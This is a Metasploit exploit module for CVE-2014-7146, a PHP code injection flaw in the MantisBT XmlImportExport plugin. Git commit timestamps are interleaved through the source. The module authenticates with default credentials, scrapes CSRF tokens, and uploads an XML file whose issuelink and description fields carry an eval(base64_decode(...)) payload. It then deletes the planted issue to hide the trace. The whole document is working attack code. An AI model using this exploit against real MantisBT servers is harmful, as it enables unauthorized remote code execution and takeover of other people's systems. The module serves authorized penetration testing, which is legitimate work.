2014-11-09 08:00:44 -05:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = GreatRanking
include Msf :: Exploit :: Remote :: HttpClient
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability' ,
'Description' = > %q{
2014-11-09 09:10:01 -05:00
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
2014-11-13 22:46:53 +01:00
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
2014-11-09 08:00:44 -05:00
} ,
'License' = > MSF_LICENSE ,
'Author' = >
[
'Egidio Romano' , # discovery http://karmainsecurity.com
'Juan Escobar <eng.jescobar[at]gmail.com>' , # module development @itsecurityco
] ,
'References' = >
[
[ 'CVE' , '2014-7146' ]
] ,
'Platform' = > 'php' ,
'Arch' = > ARCH_PHP ,
'Targets' = > [ [ 'Generic (PHP Payload)' , { } ] ] ,
'DisclosureDate' = > 'Nov 8 2014' ,
'DefaultTarget' = > 0 ) )
register_options (
[
OptString . new ( 'USERNAME' , [ true , 'Username to authenticate as' , 'administrator' ] ) ,
OptString . new ( 'PASSWORD' , [ true , 'Pasword to authenticate as' , 'root' ] ) ,
2014-11-13 22:46:53 +01:00
OptString . new ( 'TARGETURI' , [ true , 'Base directory path' , '/' ] )
2014-11-09 08:00:44 -05:00
] , self . class )
end
def check
res = exec_php ( 'phpinfo(); die();' , true )
if res && res . body =~ / This program makes use of the Zend /
return Exploit :: CheckCode :: Vulnerable
else
return Exploit :: CheckCode :: Unknown
end
end
2014-11-11 05:49:18 -05:00
def do_login ( )
2014-11-13 22:46:53 +01:00
print_status ( 'Checking access to MantisBT...' )
2014-11-09 08:00:44 -05:00
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'login_page.php' ) ,
'vars_get' = > {
2014-11-13 22:46:53 +01:00
'return' = > normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' )
2014-11-09 08:00:44 -05:00
}
} )
2014-11-13 22:46:53 +01:00
fail_with ( Failure :: NoAccess , 'Error accessing MantisBT' ) unless res && res . code == 200
2014-11-09 08:00:44 -05:00
2014-11-13 22:51:41 +01:00
session_cookie = res . get_cookies
2014-11-09 08:00:44 -05:00
print_status ( 'Logging in...' )
res = send_request_cgi ( {
2014-11-11 05:49:18 -05:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'login.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > session_cookie ,
2014-11-09 08:00:44 -05:00
'vars_post' = > {
'return' = > normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import' ) ,
'username' = > datastore [ 'username' ] ,
'password' = > datastore [ 'password' ] ,
2014-11-13 22:46:53 +01:00
'secure_session' = > 'on'
2014-11-09 08:00:44 -05:00
}
} )
2014-11-13 22:46:53 +01:00
fail_with ( Failure :: NoAccess , 'Login failed' ) unless res && res . code == 302
fail_with ( Failure :: NoAccess , 'Wrong credentials' ) unless res . redirection . to_s !~ / login_page.php /
2014-11-11 00:41:58 -05:00
2014-11-13 22:46:53 +01:00
" #{ session_cookie } #{ res . get_cookies } "
2014-11-11 05:49:18 -05:00
end
2014-11-13 22:46:53 +01:00
def upload_xml ( payload_b64 , rand_text , cookies , is_check )
2014-11-11 05:49:18 -05:00
if is_check
timeout = 20
else
timeout = 3
end
rand_num = Rex :: Text . rand_text_numeric ( 1 , 9 )
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
print_status ( 'Checking XmlImportExport plugin...' )
2014-11-09 08:00:44 -05:00
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'plugin.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-09 08:00:44 -05:00
'vars_get' = > {
2014-11-13 22:46:53 +01:00
'page' = > 'XmlImportExport/import'
2014-11-09 08:00:44 -05:00
}
} )
unless res && res . code == 200
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to access XmlImportExport/import page...' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving CSRF token
if res . body =~ / name="plugin_xml_import_action_token" value="(.*)" /
csrf_token = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read CSRF token' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default project id
if res . body =~ / name="project_id" value="([0-9]+)" /
project_id = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read project id' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default category id
if res . body =~ / name="defaultcategory">[.| \ r| \ r \ n]*<option value="([0-9])" selected="selected" > \ (select \ )< \/ option><option value="1"> \ [All Projects \ ] (.*)< \/ option> /
category_id = Regexp . last_match [ 1 ]
category_name = Regexp . last_match [ 2 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read default category' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default max file size
if res . body =~ / name="max_file_size" value="([0-9]+)" /
max_file_size = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read default max file size' )
2014-11-09 08:00:44 -05:00
return false
end
# Retrieving default step
if res . body =~ / name="step" value="([0-9]+)" /
step = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to read default step value' )
2014-11-09 08:00:44 -05:00
return false
end
2014-11-10 15:27:10 -05:00
xml_file = %Q|
<mantis version="1.2.17" urlbase="http://localhost/" issuelink="${eval(base64_decode(#{ payload_b64 }))}}" notelink="~" format="1">
<issue>
<id>#{ rand_num }</id>
<project id="#{ project_id }">#{ rand_text }</project>
<reporter id="#{ rand_num }">#{ rand_text }</reporter>
<priority id="30">normal</priority>
<severity id="50">minor</severity>
<reproducibility id="70">have not tried</reproducibility>
<status id="#{ rand_num }">new</status>
<resolution id="#{ rand_num }">open</resolution>
<projection id="#{ rand_num }">none</projection>
<category id="#{ category_id }">#{ category_name }</category>
<date_submitted>1415492267</date_submitted>
<last_updated>1415507582</last_updated>
<eta id="#{ rand_num }">none</eta>
<view_state id="#{ rand_num }">public</view_state>
<summary>#{ rand_text }</summary>
<due_date>1</due_date>
<description>{${eval(base64_decode(#{ payload_b64 }))}}1</description>
</issue>
</mantis>
|
data = Rex :: MIME :: Message . new
data . add_part ( " #{ csrf_token } " , nil , nil , " form-data; name= \" plugin_xml_import_action_token \" " )
data . add_part ( " #{ project_id } " , nil , nil , " form-data; name= \" project_id \" " )
data . add_part ( " #{ max_file_size } " , nil , nil , " form-data; name= \" max_file_size \" " )
data . add_part ( " #{ step } " , nil , nil , " form-data; name= \" step \" " )
data . add_part ( xml_file , " text/xml " , " UTF-8 " , " form-data; name= \" file \" ; filename= \" #{ rand_text } .xml \" " )
data . add_part ( " renumber " , nil , nil , " form-data; name= \" strategy \" " )
data . add_part ( " link " , nil , nil , " form-data; name= \" fallback \" " )
data . add_part ( " on " , nil , nil , " form-data; name= \" keepcategory \" " )
data . add_part ( " #{ category_id } " , nil , nil , " form-data; name= \" defaultcategory \" " )
data_post = data . to_s
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
print_status ( 'Sending payload...' )
2014-11-11 05:49:18 -05:00
return send_request_cgi ( {
2014-11-09 08:00:44 -05:00
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'plugin.php?page=XmlImportExport/import_action' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-10 15:27:10 -05:00
'ctype' = > " multipart/form-data; boundary= #{ data . bound } " ,
2014-11-13 22:46:53 +01:00
'data' = > data_post
2014-11-09 08:00:44 -05:00
} , timeout )
2014-11-11 05:49:18 -05:00
end
def exec_php ( php_code , is_check = false )
# remove comments, line breaks and spaces of php_code
payload_clean = php_code . gsub ( / ( \ s+)|( # .*) / , '' )
# clean b64 payload
while Rex :: Text . encode_base64 ( payload_clean ) =~ / = /
payload_clean = " #{ payload_clean } "
end
payload_b64 = Rex :: Text . encode_base64 ( payload_clean )
rand_text = Rex :: Text . rand_text_alpha ( 5 , 8 )
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
cookies = do_login ( )
2014-11-11 05:49:18 -05:00
2014-11-13 22:46:53 +01:00
res_payload = upload_xml ( payload_b64 , rand_text , cookies , is_check )
2014-11-11 05:49:18 -05:00
# When a meterpreter session is active, communication with the application is lost.
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
2014-11-13 22:46:53 +01:00
cookies = do_login ( )
2014-11-09 08:00:44 -05:00
2014-11-13 22:46:53 +01:00
print_status ( " Deleting issue ( #{ rand_text } )... " )
2014-11-09 08:00:44 -05:00
res = send_request_cgi ( {
2014-11-11 05:49:18 -05:00
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'my_view_page.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies
2014-11-09 08:00:44 -05:00
} )
unless res && res . code == 200
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to access My View page' )
2014-11-09 08:00:44 -05:00
return false
end
if res . body =~ / title=" \ [@[0-9]+@ \ ] #{ rand_text } ">0+([0-9]+)< \/ a> /
issue_id = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to retrieve issue id' )
2014-11-09 08:00:44 -05:00
return false
end
res = send_request_cgi ( {
'method' = > 'GET' ,
'uri' = > normalize_uri ( target_uri . path , 'bug_actiongroup_page.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-09 08:00:44 -05:00
'vars_get' = > {
'bug_arr[]' = > issue_id ,
'action' = > 'DELETE' ,
} ,
} )
if res && res . body =~ / name="bug_actiongroup_DELETE_token" value="(.*)" \/ > /
csrf_token = Regexp . last_match [ 1 ]
else
2014-11-13 22:46:53 +01:00
print_error ( 'Error trying to retrieve CSRF token' )
2014-11-09 08:00:44 -05:00
return false
end
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( target_uri . path , 'bug_actiongroup.php' ) ,
2014-11-13 22:46:53 +01:00
'cookie' = > cookies ,
2014-11-09 08:00:44 -05:00
'vars_post' = > {
'bug_actiongroup_DELETE_token' = > csrf_token ,
'bug_arr[]' = > issue_id ,
'action' = > 'DELETE' ,
} ,
} )
if res && res . code == 302 || res . body !~ / Issue #{ issue_id } not found /
2014-11-13 22:46:53 +01:00
print_status ( " Issue number ( #{ issue_id } ) removed " )
2014-11-09 08:00:44 -05:00
else
print_error ( " Removing issue number ( #{ issue_id } ) has failed " )
return false
end
# if check return the response
if is_check
return res_payload
else
return true
end
end
def exploit
unless exec_php ( payload . encoded )
2014-11-13 22:46:53 +01:00
fail_with ( Failure :: Unknown , 'Exploit failed, aborting.' )
2014-11-09 08:00:44 -05:00
end
end
end